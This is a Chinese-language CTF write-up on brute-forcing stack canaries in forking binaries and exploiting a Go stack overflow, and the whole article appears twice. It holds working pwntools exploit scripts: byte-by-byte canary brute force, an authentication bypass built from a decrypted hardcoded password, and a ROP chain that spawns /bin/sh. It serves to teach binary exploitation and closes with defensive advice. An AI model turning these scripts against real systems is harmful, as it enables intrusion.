canary爆破||go栈溢出
字数 1161
更新时间 2025-12-30 12:33:07
Canary爆破与Go栈溢出技术详解
一、Canary爆破技术
1.1 Canary保护机制原理
Canary是一种栈保护技术,通过在栈帧中插入随机值来检测栈溢出攻击。关键特性:
- 进程重启后Canary值不同
- 同一进程内不同线程的Canary相同
- fork()创建的子进程继承父进程的Canary值
- 32位系统Canary通常4字节(末位为0x00)
- 64位系统Canary通常8字节(末位为0x00)
1.2 爆破原理与条件
爆破可行性基于:
- 进程复用:子进程Canary与父进程一致
- 逐字节检测:Canary校验失败导致程序崩溃
- 状态反馈:通过程序是否崩溃判断字节是否正确
1.3 实战案例一:ezcanary
漏洞代码分析
int __fastcall main(int argc, const char **argv, const char **envp) {
char s[88];
unsigned __int64 v5 = __readfsqword(0x28u); // Canary值
do {
if (!fork()) { // 创建子进程
read(0, s, 0x100u); // 栈溢出漏洞
return 0;
}
wait(0);
read(0, s, 0x100u);
} while (strcmp(s, "cat flag\n"));
return 0;
}
爆破脚本编写要点
from pwn import *
def brute_force_byte(canary_so_far):
for i in range(256):
payload = b'a' * (0x60-8) + canary_so_far + p8(i)
io.sendafter('提示符', payload)
if b"stack smashing" not in io.recvline():
return canary_so_far + p8(i) # 爆破成功
return None # 爆破失败
def exploit():
canary = b'\x00' # 从末位0x00开始
for i in range(7): # 64位系统爆破7字节
canary = brute_force_byte(canary)
# 构造ROP链
payload = b'a' * (0x60-8) + p64(canary) + b'a'*8 + p64(getshell_addr)
io.send(payload)
io.interactive()
1.4 实战案例二:2023ciscn初赛
关键挑战
- 数据接收处理:避免接收数据重复和判断错误
- 进程状态管理:确保每次爆破在干净状态进行
- 边界条件处理:正确处理爆破失败的重试逻辑
改进的爆破脚本
def robust_brute_force():
canary = b'\x00'
for byte_index in range(7):
for byte_value in range(256):
payload = b'a'*0x68 + canary + p8(byte_value)
io.send(payload)
# 关键:确保接收状态重置
response = io.recvuntil("\n", timeout=1)
if b"stack smashing" not in response:
canary += p8(byte_value)
io.recvuntil("welcome\n") # 重置状态
break
return canary
二、Go语言栈溢出技术
2.1 Go语言特性分析
类型系统特点
// 基本类型
var a int
var b string // 实际为stringStruct{str *byte, len int}
var c bool
// 引用类型
var d []byte // slice结构体
var e map[string]int
var f chan int
// 接口类型
var g interface{} // eface{_type *_type, data unsafe.Pointer}
var h io.Writer // iface{tab *itab, data unsafe.Pointer}
内存布局关键点
- 字符串:16字节(8字节指针 + 8字节长度)
- 切片:24字节(8字节数组指针 + 8字节长度 + 8字节容量)
- 接口:16字节(类型信息 + 数据指针)
2.2 shellwego题目分析
认证绕过技术
# 认证命令格式
cert nAcDsMicN S33UAga1n@#!
# 逆向分析过程
1. 命令解析:cert为命令前缀
2. 参数验证:nAcDsMicN为固定验证字符串(注意小端序)
3. 密码解密:RC4解密S33UAga1n@#!得到认证密钥
RC4+Base64解密脚本
import base64
from Crypto.Cipher import ARC4
def decrypt_password(encrypted_b64):
key = b"F1nallB1rd3K3y"
# Base64解码
encrypted = base64.b64decode(encrypted_b64)
# RC4解密
cipher = ARC4.new(key)
decrypted = cipher.decrypt(encrypted)
return decrypted
# 实际解密过程
original_password = decrypt_password("JLIX8pbSvYZu/WaG")
2.3 栈溢出漏洞利用
漏洞触发点分析
// 伪代码表示漏洞函数
func processCheck(input string) {
var buffer [0x230]byte
// 存在栈溢出漏洞的复制逻辑
for i := 0; i < len(input) && i < 0x400; i++ {
if input[i] != '+' {
buffer[i] = input[i] // 栈溢出点
}
}
}
利用技术要点
- 长度控制:输入长度超过缓冲区大小但小于0x400
- 字符绕过:使用'+'字符跳过敏感位置写入
- ROP构造:利用Go语言的gadget构造利用链
完整利用脚本
from pwn import *
# Gadget地址
pop_rdi = 0x444fec
pop_rsi = 0x41e818
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c
def exploit():
io = process('./shellwego')
# 认证绕过
io.sendlineafter('$ ', 'cert nAcDsMicN S33UAga1n@#!')
# 构造溢出payload
payload = b'echo ' + b'a'*0x100 # 填充缓冲区
payload += b'a'*0x104 # 覆盖到返回地址
payload += b'+'*8 # 跳过敏感位置
payload += p64(0xdeadbeef)*3 # 填充
# ROP链
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rsi) + p64(0x59FE70)
payload += p64(pop_rdx) + p64(20)
payload += p64(syscall)
payload += p64(pop_rax) + p64(59) # execve系统调用号
payload += p64(pop_rdi) + p64(0x59FE70) # "/bin/sh"地址
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
io.sendlineafter('# ', payload)
io.send(b"/bin/sh\x00")
io.interactive()
2.4 2025PCTF题目进阶技巧
defer机制利用
func vulnerableFunction() {
var buffer [0x100]byte
// defer函数在返回时执行,但参数在声明时确定
defer checkBuffer(buffer) // 参数在此时复制
readInput(buffer) // 栈溢出修改buffer
// defer执行的checkBuffer检查的是原始buffer副本
}
利用要点
- 时机把握:defer参数在声明时确定,但执行在函数返回时
- 绕过检查:溢出修改实际缓冲区,但defer检查的是原始副本
- 寄存器操作:Go语言的ROP需要特殊的寄存器操作技巧
三、技术总结与防御建议
3.1 Canary爆破防御
- 随机化增强:使用更随机的Canary值生成算法
- 进程隔离:避免子进程继承Canary值
- 异常处理:崩溃时不留痕迹,增加爆破难度
3.2 Go语言安全开发
- 边界检查:严格验证所有输入长度
- 内存安全:使用安全的内存操作函数
- 接口安全:验证接口转换的安全性
- defer使用:注意defer参数的捕获时机
3.3 漏洞挖掘技巧
- 输入验证:重点关注长度验证缺失点
- 类型转换:注意接口类型转换的安全性
- 并发安全:检查goroutine间的数据竞争
- 标准库使用:审计第三方库的安全实现
本教学文档详细介绍了Canary爆破和Go栈溢出的核心技术,包括原理分析、实战案例和防御措施,为二进制安全研究提供了全面的技术参考。
Canary爆破与Go栈溢出技术详解
一、Canary爆破技术
1.1 Canary保护机制原理
Canary是一种栈保护技术,通过在栈帧中插入随机值来检测栈溢出攻击。关键特性:
- 进程重启后Canary值不同
- 同一进程内不同线程的Canary相同
- fork()创建的子进程继承父进程的Canary值
- 32位系统Canary通常4字节(末位为0x00)
- 64位系统Canary通常8字节(末位为0x00)
1.2 爆破原理与条件
爆破可行性基于:
- 进程复用:子进程Canary与父进程一致
- 逐字节检测:Canary校验失败导致程序崩溃
- 状态反馈:通过程序是否崩溃判断字节是否正确
1.3 实战案例一:ezcanary
漏洞代码分析
int __fastcall main(int argc, const char **argv, const char **envp) {
char s[88];
unsigned __int64 v5 = __readfsqword(0x28u); // Canary值
do {
if (!fork()) { // 创建子进程
read(0, s, 0x100u); // 栈溢出漏洞
return 0;
}
wait(0);
read(0, s, 0x100u);
} while (strcmp(s, "cat flag\n"));
return 0;
}
爆破脚本编写要点
from pwn import *
def brute_force_byte(canary_so_far):
for i in range(256):
payload = b'a' * (0x60-8) + canary_so_far + p8(i)
io.sendafter('提示符', payload)
if b"stack smashing" not in io.recvline():
return canary_so_far + p8(i) # 爆破成功
return None # 爆破失败
def exploit():
canary = b'\x00' # 从末位0x00开始
for i in range(7): # 64位系统爆破7字节
canary = brute_force_byte(canary)
# 构造ROP链
payload = b'a' * (0x60-8) + p64(canary) + b'a'*8 + p64(getshell_addr)
io.send(payload)
io.interactive()
1.4 实战案例二:2023ciscn初赛
关键挑战
- 数据接收处理:避免接收数据重复和判断错误
- 进程状态管理:确保每次爆破在干净状态进行
- 边界条件处理:正确处理爆破失败的重试逻辑
改进的爆破脚本
def robust_brute_force():
canary = b'\x00'
for byte_index in range(7):
for byte_value in range(256):
payload = b'a'*0x68 + canary + p8(byte_value)
io.send(payload)
# 关键:确保接收状态重置
response = io.recvuntil("\n", timeout=1)
if b"stack smashing" not in response:
canary += p8(byte_value)
io.recvuntil("welcome\n") # 重置状态
break
return canary
二、Go语言栈溢出技术
2.1 Go语言特性分析
类型系统特点
// 基本类型
var a int
var b string // 实际为stringStruct{str *byte, len int}
var c bool
// 引用类型
var d []byte // slice结构体
var e map[string]int
var f chan int
// 接口类型
var g interface{} // eface{_type *_type, data unsafe.Pointer}
var h io.Writer // iface{tab *itab, data unsafe.Pointer}
内存布局关键点
- 字符串:16字节(8字节指针 + 8字节长度)
- 切片:24字节(8字节数组指针 + 8字节长度 + 8字节容量)
- 接口:16字节(类型信息 + 数据指针)
2.2 shellwego题目分析
认证绕过技术
# 认证命令格式
cert nAcDsMicN S33UAga1n@#!
# 逆向分析过程
1. 命令解析:cert为命令前缀
2. 参数验证:nAcDsMicN为固定验证字符串(注意小端序)
3. 密码解密:RC4解密S33UAga1n@#!得到认证密钥
RC4+Base64解密脚本
import base64
from Crypto.Cipher import ARC4
def decrypt_password(encrypted_b64):
key = b"F1nallB1rd3K3y"
# Base64解码
encrypted = base64.b64decode(encrypted_b64)
# RC4解密
cipher = ARC4.new(key)
decrypted = cipher.decrypt(encrypted)
return decrypted
# 实际解密过程
original_password = decrypt_password("JLIX8pbSvYZu/WaG")
2.3 栈溢出漏洞利用
漏洞触发点分析
// 伪代码表示漏洞函数
func processCheck(input string) {
var buffer [0x230]byte
// 存在栈溢出漏洞的复制逻辑
for i := 0; i < len(input) && i < 0x400; i++ {
if input[i] != '+' {
buffer[i] = input[i] // 栈溢出点
}
}
}
利用技术要点
- 长度控制:输入长度超过缓冲区大小但小于0x400
- 字符绕过:使用'+'字符跳过敏感位置写入
- ROP构造:利用Go语言的gadget构造利用链
完整利用脚本
from pwn import *
# Gadget地址
pop_rdi = 0x444fec
pop_rsi = 0x41e818
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c
def exploit():
io = process('./shellwego')
# 认证绕过
io.sendlineafter('$ ', 'cert nAcDsMicN S33UAga1n@#!')
# 构造溢出payload
payload = b'echo ' + b'a'*0x100 # 填充缓冲区
payload += b'a'*0x104 # 覆盖到返回地址
payload += b'+'*8 # 跳过敏感位置
payload += p64(0xdeadbeef)*3 # 填充
# ROP链
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rsi) + p64(0x59FE70)
payload += p64(pop_rdx) + p64(20)
payload += p64(syscall)
payload += p64(pop_rax) + p64(59) # execve系统调用号
payload += p64(pop_rdi) + p64(0x59FE70) # "/bin/sh"地址
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
io.sendlineafter('# ', payload)
io.send(b"/bin/sh\x00")
io.interactive()
2.4 2025PCTF题目进阶技巧
defer机制利用
func vulnerableFunction() {
var buffer [0x100]byte
// defer函数在返回时执行,但参数在声明时确定
defer checkBuffer(buffer) // 参数在此时复制
readInput(buffer) // 栈溢出修改buffer
// defer执行的checkBuffer检查的是原始buffer副本
}
利用要点
- 时机把握:defer参数在声明时确定,但执行在函数返回时
- 绕过检查:溢出修改实际缓冲区,但defer检查的是原始副本
- 寄存器操作:Go语言的ROP需要特殊的寄存器操作技巧
三、技术总结与防御建议
3.1 Canary爆破防御
- 随机化增强:使用更随机的Canary值生成算法
- 进程隔离:避免子进程继承Canary值
- 异常处理:崩溃时不留痕迹,增加爆破难度
3.2 Go语言安全开发
- 边界检查:严格验证所有输入长度
- 内存安全:使用安全的内存操作函数
- 接口安全:验证接口转换的安全性
- defer使用:注意defer参数的捕获时机
3.3 漏洞挖掘技巧
- 输入验证:重点关注长度验证缺失点
- 类型转换:注意接口类型转换的安全性
- 并发安全:检查goroutine间的数据竞争
- 标准库使用:审计第三方库的安全实现
本教学文档详细介绍了Canary爆破和Go栈溢出的核心技术,包括原理分析、实战案例和防御措施,为二进制安全研究提供了全面的技术参考。